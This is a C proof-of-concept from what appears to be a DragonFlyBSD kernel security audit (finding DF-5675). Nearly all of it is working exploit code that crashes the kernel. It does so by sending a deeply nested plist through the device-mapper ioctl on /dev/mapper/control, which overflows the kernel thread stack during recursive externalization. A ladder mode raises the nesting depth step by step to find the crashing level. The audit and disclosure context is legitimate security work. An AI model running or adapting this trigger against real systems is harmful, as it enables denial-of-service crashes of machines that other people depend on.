⬢ DragonFlyBSD Kernel Audit
DF-5675 / df5675_dmcrash.c
← back to finding ↓ download raw
/*
 * DF-5675 — kernel trigger.
 *
 * Recursive prop externalize vs. iterative internalize -> kernel thread
 * stack (16KB, UPAGES=4) overflow, via the device-mapper ioctl that
 * internalizes the attacker plist and then unconditionally externalizes
 * THE SAME object back out (device-mapper.c dmioctl: copyin_ioctl ->
 * copyout_ioctl(dm_dict_in)).
 *
 * The XML is a perfectly valid plist: <dict><key>a</key><array>...nested
 * ...<true/></array>...</dict>.  Internalize is ITERATIVE (prop_stack)
 * so any depth parses fine.  Externalize is RECURSIVE
 * (_prop_array_externalize -> pot_extern -> _prop_array_externalize ...)
 * so each nesting level burns a kernel stack frame until the 16KB kstack
 * is exhausted.
 *
 * usage: df5675_dmcrash [depth]
 *   depth ladder mode is built in: 32,64,96,128,160,192,256,512,1024,2048
 *   prints each depth + fflush BEFORE the ioctl so the serial log shows
 *   exactly which depth killed the kernel.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct plistref {			/* mirror of sys/libprop/plistref.h */
	void	*pref_plist;
	size_t	 pref_len;
};

#define DM_IOCTL		0xfd
#define NETBSD_DM_IOCTL		_IOWR(DM_IOCTL, 0, struct plistref)

static char *
build_deep_plist(int depth, size_t *lenp)
{
	size_t cap = (size_t)depth * 32 + 4096;
	char *xml = malloc(cap);
	size_t off = 0;
	int i;

	if (xml == NULL)
		abort();
	off += sprintf(xml + off, "<plist version=\"1.0\"><dict><key>a</key>");
	for (i = 0; i < depth; i++)
		off += sprintf(xml + off, "<array>");
	off += sprintf(xml + off, "<true/>");
	for (i = 0; i < depth; i++)
		off += sprintf(xml + off, "</array>");
	off += sprintf(xml + off, "</dict></plist>");
	*lenp = off;
	return (xml);
}

int
main(int argc, char **argv)
{
	struct plistref pref;
	size_t len;
	char *xml;
	int fd, i;
	int ladder[] = { 32, 64, 96, 128, 160, 192, 256, 512, 1024, 2048 };
	int nladder = sizeof(ladder) / sizeof(ladder[0]);

	fd = open("/dev/mapper/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/mapper/control");
		return (1);
	}

	if (argc > 1) {			/* single depth mode */
		int depth = atoi(argv[1]);
		xml = build_deep_plist(depth, &len);
		pref.pref_plist = xml;
		pref.pref_len = len;
		fprintf(stderr, "DF5675: depth=%d len=%zu ... ioctl\n",
		    depth, len);
		fflush(stderr);
		if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0)
			perror("ioctl");
		fprintf(stderr, "DF5675: ioctl returned errno=%d "
		    "(kernel survived depth=%d)\n", errno, depth);
		return (0);
	}

	for (i = 0; i < nladder; i++) {	/* ladder mode: find the cliff */
		xml = build_deep_plist(ladder[i], &len);
		pref.pref_plist = xml;
		pref.pref_len = len;
		fprintf(stderr, "DF5675: depth=%d len=%zu ... ioctl\n",
		    ladder[i], len);
		fflush(stderr);
		errno = 0;
		if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0 && errno)
			fprintf(stderr, "  ioctl errno=%d\n", errno);
		else
			fprintf(stderr, "  ok (echoed back, pref_len=%zu)\n",
			    pref.pref_len);
		fflush(stderr);
		free(xml);
	}
	fprintf(stderr, "DF5675: kernel survived the whole ladder\n");
	return (0);
}